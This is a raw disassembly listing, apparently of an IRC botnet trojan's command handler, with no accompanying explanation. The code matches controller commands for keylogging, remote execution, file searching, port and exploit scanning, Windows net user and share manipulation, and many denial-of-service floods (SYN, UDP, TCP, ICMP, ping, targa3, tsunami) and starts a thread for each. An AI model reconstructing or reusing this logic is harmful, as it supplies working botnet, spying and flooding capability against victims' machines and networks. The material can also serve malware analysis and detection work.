		call	sub_41B980
		add	esp, 0Ch
		lea	eax, [ebp+var_2C4]
		push	offset unk_42B124
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	21h
		push	eax
		call	sub_40B0F6
		add	esp, 14h
		mov	[ebp+var_F68], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_FEC]
		push	ebx
		push	eax
		push	offset sub_412660
		push	ebx
		push	ebx
		nop
		call	near ptr 2670000h
		mov	ecx, [ebp+var_F68]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_405D82


loc_405D6C:				; CODE XREF: sub_401ACD+42B3j
		cmp	[ebp+var_F5C], ebx
		jnz	loc_40828B
		push	32h
		call	near ptr 2660F2Bh
		nop
		jmp	short loc_405D6C
; ---------------------------------------------------------------------------


loc_405D82:				; CODE XREF: sub_401ACD+429Dj
		call	near ptr 26709FBh
		nop
		push	eax
		push	offset unk_42B0E8
		jmp	loc_4049EB
; ---------------------------------------------------------------------------


loc_405D93:				; CODE XREF: sub_401ACD+41D4j
		push	[ebp+arg_10]
		push	offset aOff	; "off"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40828B
		push	ebx
		push	21h
		call	sub_40B2F1
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_405DC3
		push	eax
		push	offset unk_42B0A8
		jmp	loc_4049EB
; ---------------------------------------------------------------------------


loc_405DC3:				; CODE XREF: sub_401ACD+42E9j
		push	offset unk_42B078
		jmp	loc_406F04
; ---------------------------------------------------------------------------


loc_405DCD:				; CODE XREF: sub_401ACD+41BDj
		push	edi
		push	offset aIdent	; "ident"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405EA2
		push	[ebp+arg_10]
		push	offset aOn	; "on"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405E68
		push	2
		call	sub_40B33E
		test	eax, eax
		pop	ecx
		jle	short loc_405E0B
		push	offset dword_42B050
		jmp	loc_406F04
; ---------------------------------------------------------------------------


loc_405E0B:				; CODE XREF: sub_401ACD+4332j
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B024
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	2
		push	eax
		call	sub_40B0F6
		add	esp, 14h
		mov	esi, eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		push	esi
		push	offset loc_4101FC
		push	ebx
		push	ebx
		call	near ptr 2670000h
		nop
		imul	esi, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[esi], eax
		jnz	loc_40828B
		call	near ptr 26709FBh
		nop
		push	eax
		push	offset dword_42AFF0
		jmp	loc_4049EB
; ---------------------------------------------------------------------------


loc_405E68:				; CODE XREF: sub_401ACD+4326j
		push	[ebp+arg_10]
		push	offset aOff	; "off"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40828B
		push	ebx
		push	2
		call	sub_40B2F1
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_405E98
		push	eax
		push	offset dword_42AFB8
		jmp	loc_4049EB
; ---------------------------------------------------------------------------


loc_405E98:				; CODE XREF: sub_401ACD+43BEj
		push	offset dword_42AF98
		jmp	loc_406F04
; ---------------------------------------------------------------------------


loc_405EA2:				; CODE XREF: sub_401ACD+430Fj
		push	edi
		push	offset aKeylog	; "keylog"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40601F
		push	[ebp+arg_10]
		push	offset aOn	; "on"
		call	sub_41C070
		pop	ecx
		mov	edi, offset aFile ; "file"
		test	eax, eax
		pop	ecx
		jz	short loc_405F18
		push	[ebp+arg_10]
		push	edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_405F18
		push	[ebp+arg_10]
		push	offset aOff	; "off"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40828B
		push	ebx
		push	23h
		call	sub_40B2F1
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_405F0E
		push	eax
		push	offset dword_42AF4C
		jmp	loc_4049EB
; ---------------------------------------------------------------------------


loc_405F0E:				; CODE XREF: sub_401ACD+4434j
		push	offset dword_42AF20
		jmp	loc_406F04
; ---------------------------------------------------------------------------


loc_405F18:				; CODE XREF: sub_401ACD+4400j
					; sub_401ACD+440Fj
		push	23h
		call	sub_40B33E
		test	eax, eax
		pop	ecx
		jle	short loc_405F2E
		push	offset dword_42AF00
		jmp	loc_406F04
; ---------------------------------------------------------------------------


loc_405F2E:				; CODE XREF: sub_401ACD+4455j
		mov	eax, [ebp+arg_4]
		push	[ebp+arg_10]
		mov	[ebp+var_C5C], eax
		mov	eax, [ebp+var_4]
		push	edi
		mov	[ebp+var_BD4], eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405F5B
		mov	[ebp+var_BD0], 1
		jmp	short loc_405F64
; ---------------------------------------------------------------------------


loc_405F5B:				; CODE XREF: sub_401ACD+4480j
		mov	eax, [ebp+var_8]
		mov	[ebp+var_BD0], eax


loc_405F64:				; CODE XREF: sub_401ACD+448Cj
		mov	esi, [ebp+esi+var_88]
		cmp	esi, ebx
		jnz	short loc_405F8B
		mov	esi, offset aF_0 ; "#f"
		push	offset dword_43D128
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405F8B
		mov	esi, [ebp+var_88]


loc_405F8B:				; CODE XREF: sub_401ACD+44A0j
					; sub_401ACD+44B6j
		push	esi
		lea	eax, [ebp+var_C54]
		push	80h
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		lea	eax, [ebp+var_2C4]
		push	offset dword_42AEDC
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	23h
		push	eax
		call	sub_40B0F6
		add	esp, 14h
		mov	[ebp+var_C58], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_C5C]
		push	ebx
		push	eax
		push	offset dword_411CF4
		push	ebx
		push	ebx
		nop
		call	near ptr 2670000h
		mov	ecx, [ebp+var_C58]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_40600E


loc_405FF8:				; CODE XREF: sub_401ACD+453Fj
		cmp	[ebp+var_BCC], ebx
		jnz	loc_40828B
		push	32h
		nop
		call	near ptr 2660F2Bh
		jmp	short loc_405FF8
; ---------------------------------------------------------------------------


loc_40600E:				; CODE XREF: sub_401ACD+4529j
		nop
		call	near ptr 26709FBh
		push	eax
		push	offset dword_42AEA0
		jmp	loc_4049EB
; ---------------------------------------------------------------------------


loc_40601F:				; CODE XREF: sub_401ACD+43E4j
		push	edi
		push	offset aNet	; "net"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40626F
		cmp	dword_4CB044, ebx
		jz	short loc_40604E
		cmp	dword_4CB06C, ebx
		jz	short loc_40604E
		push	offset unk_42AE64
		jmp	loc_4085D5
; ---------------------------------------------------------------------------


loc_40604E:				; CODE XREF: sub_401ACD+456Dj
					; sub_401ACD+4575j
		cmp	[ebp+var_C], ebx
		jz	loc_406CDE
		mov	edi, [ebp+esi+var_88]
		mov	[ebp+arg_0], ebx
		cmp	edi, ebx
		jz	short loc_406073
		push	edi
		push	[ebp+var_C]
		call	sub_41B900
		pop	ecx
		mov	[ebp+arg_0], eax
		pop	ecx


loc_406073:				; CODE XREF: sub_401ACD+4596j
		push	[ebp+arg_10]
		push	offset aStart	; "start"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4060C0
		cmp	edi, ebx
		jz	short loc_406094
		push	[ebp+arg_0]
		push	3
		jmp	loc_406126
; ---------------------------------------------------------------------------


loc_406094:				; CODE XREF: sub_401ACD+45BBj
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_41895B
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_4060B6
		push	offset unk_42AE38
		jmp	loc_4085D5
; ---------------------------------------------------------------------------


loc_4060B6:				; CODE XREF: sub_401ACD+45DDj
		push	offset unk_42AE18
		jmp	loc_4085D5
; ---------------------------------------------------------------------------


loc_4060C0:				; CODE XREF: sub_401ACD+45B7j
		push	[ebp+arg_10]
		push	offset aStop	; "stop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4060DA
		push	[ebp+arg_0]
		push	4
		jmp	short loc_406126
; ---------------------------------------------------------------------------


loc_4060DA:				; CODE XREF: sub_401ACD+4604j
		push	[ebp+arg_10]
		push	offset aPause	; "pause"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4060F4
		push	[ebp+arg_0]
		push	5
		jmp	short loc_406126
; ---------------------------------------------------------------------------


loc_4060F4:				; CODE XREF: sub_401ACD+461Ej
		push	[ebp+arg_10]
		push	offset aContinue ; "continue"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40610E
		push	[ebp+arg_0]
		push	6
		jmp	short loc_406126
; ---------------------------------------------------------------------------


loc_40610E:				; CODE XREF: sub_401ACD+4638j
		push	[ebp+arg_10]
		push	offset aDelete	; "delete"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_406138
		push	[ebp+arg_0]
		push	1


loc_406126:				; CODE XREF: sub_401ACD+45C2j
					; sub_401ACD+460Bj ...
		call	sub_4186C1
		pop	ecx
		pop	ecx


loc_40612D:				; CODE XREF: sub_401ACD+46A1j
					; sub_401ACD+4729j ...
		push	eax
		push	offset aS_1	; "%s"
		jmp	loc_406CCF
; ---------------------------------------------------------------------------


loc_406138:				; CODE XREF: sub_401ACD+4652j
		push	[ebp+arg_10]
		push	offset aShare	; "share"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40619D
		cmp	edi, ebx
		jz	short loc_406170
		cmp	[ebp+var_8FC], bl
		jz	short loc_40615D
		push	ebx
		push	edi
		push	1
		jmp	short loc_406166
; ---------------------------------------------------------------------------


loc_40615D:				; CODE XREF: sub_401ACD+4688j
		push	[ebp+esi+var_84]
		push	edi
		push	ebx


loc_406166:				; CODE XREF: sub_401ACD+468Ej
		call	sub_418A98
		add	esp, 0Ch
		jmp	short loc_40612D
; ---------------------------------------------------------------------------


loc_406170:				; CODE XREF: sub_401ACD+4680j
		push	ebx
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_418C8E
		add	esp, 10h
		test	eax, eax
		jz	short loc_406193
		push	offset unk_42ADD0
		jmp	loc_4085D5
; ---------------------------------------------------------------------------


loc_406193:				; CODE XREF: sub_401ACD+46BAj
		push	offset unk_42ADB0
		jmp	loc_4085D5
; ---------------------------------------------------------------------------


loc_40619D:				; CODE XREF: sub_401ACD+467Cj
		push	[ebp+arg_10]
		push	offset aUser	; "user"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_406228
		cmp	edi, ebx
		jz	short loc_4061FB
		cmp	[ebp+var_8FC], bl
		jz	short loc_4061CE
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		push	ebx
		push	edi
		push	1
		jmp	short loc_4061EE
; ---------------------------------------------------------------------------


loc_4061CE:				; CODE XREF: sub_401ACD+46EDj
		push	[ebp+var_4]
		mov	esi, [ebp+esi+var_84]
		cmp	esi, ebx
		push	[ebp+var_88]
		push	[ebp+arg_4]
		jz	short loc_4061EA
		push	esi
		push	edi
		push	ebx
		jmp	short loc_4061EE
; ---------------------------------------------------------------------------


loc_4061EA:				; CODE XREF: sub_401ACD+4716j
		push	ebx
		push	edi
		push	2


loc_4061EE:				; CODE XREF: sub_401ACD+46FFj
					; sub_401ACD+471Bj
		call	sub_418DAF
		add	esp, 18h
		jmp	loc_40612D
; ---------------------------------------------------------------------------


loc_4061FB:				; CODE XREF: sub_401ACD+46E5j
		push	ebx
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_4192DF
		add	esp, 10h
		test	eax, eax
		jz	short loc_40621E
		push	offset unk_42AD88
		jmp	loc_4085D5
; ---------------------------------------------------------------------------


loc_40621E:				; CODE XREF: sub_401ACD+4745j
		push	offset unk_42AD68
		jmp	loc_4085D5
; ---------------------------------------------------------------------------


loc_406228:				; CODE XREF: sub_401ACD+46E1j
		push	[ebp+arg_10]
		push	offset aSend	; "send"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_406265
		cmp	edi, ebx
		jz	short loc_40625B
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_419593
		add	esp, 10h
		jmp	loc_40612D
; ---------------------------------------------------------------------------


loc_40625B:				; CODE XREF: sub_401ACD+4770j
		push	offset unk_42AD3C
		jmp	loc_4085D5
; ---------------------------------------------------------------------------


loc_406265:				; CODE XREF: sub_401ACD+476Cj
		push	offset unk_42AD20
		jmp	loc_4085D5
; ---------------------------------------------------------------------------


loc_40626F:				; CODE XREF: sub_401ACD+4561j
		push	edi
		push	offset aCapture	; "capture"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408DFD
		push	edi
		push	offset aCap	; "cap"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408DFD
		push	edi
		push	offset aGethost	; "gethost"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408D09
		push	edi
		push	offset aGh	; "gh"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408D09


loc_4062C3:				; CODE XREF: sub_401ACD+3CBDj
					; sub_401ACD+3CECj ...
		mov	edi, [ebp+esi+var_88]
		cmp	edi, ebx
		mov	[ebp+arg_1C], edi
		jz	loc_401E94
		push	[ebp+arg_8]
		push	offset aKilllog	; "killlog"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408CEF
		push	[ebp+arg_8]
		push	offset aKl	; "kl"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408CEF
		push	[ebp+arg_8]
		push	offset aAddalias ; "addalias"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408CAC
		push	[ebp+arg_8]
		push	offset aAa	; "aa"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408CAC
		push	[ebp+arg_8]
		push	offset aPrivmsg_0 ; "privmsg"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408C57
		push	[ebp+arg_8]
		push	offset dword_42B504
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408C57
		push	[ebp+arg_8]
		push	offset aAction	; "action"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408BEA
		push	[ebp+arg_8]
		push	offset aA	; "a"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408BEA
		push	[ebp+arg_8]
		push	offset aCycle	; "cycle"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408B86
		push	[ebp+arg_8]
		push	offset aCy	; "cy"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408B86
		push	[ebp+arg_8]
		push	offset aMode	; "mode"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408B4A
		push	[ebp+arg_8]
		push	offset aM	; "m"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408B4A
		push	[ebp+arg_8]
		push	offset aC_raw	; "c_raw"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408ADB
		push	[ebp+arg_8]
		push	offset aC_r	; "c_r"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408ADB
		push	[ebp+arg_8]
		push	offset aC_mode	; "c_mode"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408A55
		push	[ebp+arg_8]
		push	offset aC_m	; "c_m"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408A55
		push	[ebp+arg_8]
		push	offset aC_nick	; "c_nick"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4089E5
		push	[ebp+arg_8]
		push	offset aC_n	; "c_n"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4089E5
		push	[ebp+arg_8]
		push	offset aC_join	; "c_join"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4089BF
		push	[ebp+arg_8]
		push	offset aC_j	; "c_j"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4089BF
		push	[ebp+arg_8]
		push	offset aC_part	; "c_part"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40895B
		push	[ebp+arg_8]
		push	offset aC_p	; "c_p"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40895B
		push	[ebp+arg_8]
		push	offset aTarga3	; "targa3"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408886
		push	[ebp+arg_8]
		push	offset aT3	; "t3"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408886
		push	[ebp+arg_8]
		push	offset aTsunami	; "tsunami"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40878B
		push	[ebp+arg_8]
		push	offset aTsn	; "tsn"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40878B
		push	[ebp+arg_8]
		push	offset aRepeat	; "repeat"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408687
		push	[ebp+arg_8]
		push	offset aRp	; "rp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408687
		push	[ebp+arg_8]
		push	offset aDelay	; "delay"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4085E8
		push	[ebp+arg_8]
		push	offset aDe	; "de"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4085E8
		push	[ebp+arg_8]
		push	offset aJpDe100	; "jp]de100"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408457
		push	[ebp+arg_8]
		push	offset aJp10	; "jp]10"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408457
		push	[ebp+arg_8]
		push	offset aExecute	; "execute"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4083C4
		push	[ebp+arg_8]
		push	offset aE	; "e"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4083C4
		push	[ebp+arg_8]
		push	offset aFindfile ; "findfile"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4082B5
		push	[ebp+arg_8]
		push	offset aFf	; "ff"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4082B5
		push	[ebp+arg_8]
		push	offset aRename	; "rename"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40823E
		push	[ebp+arg_8]
		push	offset aMv	; "mv"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40823E
		push	[ebp+arg_8]
		push	offset aIcmpflood ; "icmpflood"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408141
		push	[ebp+arg_8]
		push	offset aIcmp	; "icmp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408141
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		mov	[ebp+arg_0], eax
		jz	loc_401E94
		push	[ebp+arg_8]
		push	offset aClone_0	; "clone"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408059
		push	[ebp+arg_8]
		push	offset aC	; "c"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408059
		push	[ebp+arg_8]
		push	offset aDdos_syn ; "ddos.syn"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407F60
		push	[ebp+arg_8]
		push	offset aDdos_ack ; "ddos.ack"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407F60
		push	[ebp+arg_8]
		push	offset aDdos_random ; "ddos.random"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407F60
		push	[ebp+arg_8]
		push	offset aWisdom_udp ; "wisdom.udp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4067D6
		push	7Fh
		lea	eax, [ebp+var_327C]
		pop	esi
		push	esi
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_31FC]
		push	edi
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_317C]
		push	[ebp+arg_0]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_30FC]
		push	[ebp+var_88]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_8]
		mov	edi, [ebp+var_4]
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_3074],	eax
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	13h
		push	eax
		mov	[ebp+var_3078],	edi
		mov	[ebp+var_3280],	esi
		call	sub_40B0F6
		add	esp, 3Ch
		mov	[ebp+var_307C],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3280]
		push	ebx
		push	eax
		push	offset word_4146CE
		push	ebx
		push	ebx
		nop
		call	near ptr 2670000h
		mov	ecx, [ebp+var_307C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_4067C5


loc_4067AF:				; CODE XREF: sub_401ACD+4CF6j
		cmp	[ebp+var_3070],	ebx
		jnz	loc_403DA0
		push	32h
		call	near ptr 2660F2Bh
		nop
		jmp	short loc_4067AF
; ---------------------------------------------------------------------------


loc_4067C5:				; CODE XREF: sub_401ACD+4CE0j
		call	near ptr 26709FBh
		nop
		push	eax
		push	offset unk_42AB90
		jmp	loc_403D91
; ---------------------------------------------------------------------------


loc_4067D6:				; CODE XREF: sub_401ACD+4C36j
		push	[ebp+arg_8]
		push	offset aSynflood ; "synflood"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407E78
		push	[ebp+arg_8]
		push	offset aSyn	; "syn"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407E78
		push	[ebp+arg_8]
		push	offset aSkysyn	; "skysyn"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_406903
		push	7Fh
		lea	eax, [ebp+var_36A4]
		pop	esi
		push	esi
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_3624]
		push	edi
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_35A4]
		push	[ebp+arg_0]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_3524]
		push	[ebp+var_88]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 30h
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_34A0],	eax
		push	[ebp+arg_0]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_349C],	eax
		lea	eax, [ebp+var_2C4]
		push	edi
		mov	[ebp+var_36A8],	esi
		push	[ebp+arg_10]
		push	offset dword_42AB48
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	10h
		push	eax
		call	sub_40B0F6
		add	esp, 20h
		mov	[ebp+var_34A4],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_36A8]
		push	ebx
		push	eax
		push	offset word_413626
		push	ebx
		push	ebx
		nop
		call	near ptr 2670000h
		mov	ecx, [ebp+var_34A4]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_4068F2


loc_4068DC:				; CODE XREF: sub_401ACD+4E23j
		cmp	[ebp+var_3498],	ebx
		jnz	loc_407278
		push	32h
		nop
		call	near ptr 2660F2Bh
		jmp	short loc_4068DC
; ---------------------------------------------------------------------------


loc_4068F2:				; CODE XREF: sub_401ACD+4E0Dj
		nop
		call	near ptr 26709FBh
		push	eax
		push	offset dword_42AB0C
		jmp	loc_407269
; ---------------------------------------------------------------------------


loc_406903:				; CODE XREF: sub_401ACD+4D48j
		push	[ebp+arg_8]
		push	offset aPhatwonk ; "phatwonk"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407D90
		push	[ebp+arg_8]
		push	offset aWonk	; "wonk"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407D90
		push	[ebp+arg_8]
		push	offset aJpldg10	; "jpldg10"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407C52
		push	[ebp+arg_8]
		push	offset aJpl10	; "jpl10"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407C52
		push	[ebp+arg_8]
		push	offset aRedirect ; "redirect"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407B55
		push	[ebp+arg_8]
		push	offset aRd	; "rd"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407B55
		push	[ebp+arg_8]
		push	offset aScan	; "scan"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407A62
		push	[ebp+arg_8]
		push	offset aSc	; "sc"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407A62
		push	[ebp+arg_8]
		push	offset aC_privmsg ; "c_privmsg"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40795D
		push	[ebp+arg_8]
		push	offset aC_pm	; "c_pm"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40795D
		push	[ebp+arg_8]
		push	offset aC_action ; "c_action"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407865
		push	[ebp+arg_8]
		push	offset aC_a	; "c_a"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407865
		mov	eax, [ebp+esi+var_80]
		cmp	eax, ebx
		mov	[ebp+arg_18], eax
		jz	loc_401E94
		push	[ebp+arg_8]
		push	offset aPortscan ; "portscan"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40775F
		push	[ebp+arg_8]
		push	offset aPsc	; "psc"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40775F
		push	[ebp+arg_8]
		push	offset aAdvscan	; "advscan"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407298
		push	[ebp+arg_8]
		push	offset aAsc	; "asc"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407298
		push	[ebp+arg_8]
		push	offset aUdpflood ; "udpflood"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40714F
		push	[ebp+arg_8]
		push	offset aUdp	; "udp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40714F
		push	[ebp+arg_8]
		push	offset aU	; "u"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40714F
		push	[ebp+arg_8]
		push	offset aNetsend	; "netsend"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407041
		push	[ebp+arg_8]
		push	offset aNs	; "ns"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407041
		push	[ebp+arg_8]
		push	offset aPingflood ; "pingflood"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406F17
		push	[ebp+arg_8]
		push	offset aPing_0	; "ping"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406F17
		push	[ebp+arg_8]
		push	offset aP	; "p"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406F17
		push	[ebp+arg_8]
		push	offset aTcpflood ; "tcpflood"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406D6E
		push	[ebp+arg_8]
		push	offset aTcp	; "tcp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406D6E
		push	[ebp+arg_8]
		push	offset aEmail	; "email"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_406D16
		push	[ebp+arg_10]
		lea	eax, [ebp+var_47EC]
		push	eax
		call	sub_41BEB0
		push	edi
		call	sub_41B779
		push	[ebp+arg_0]
		mov	[ebp+arg_10], eax
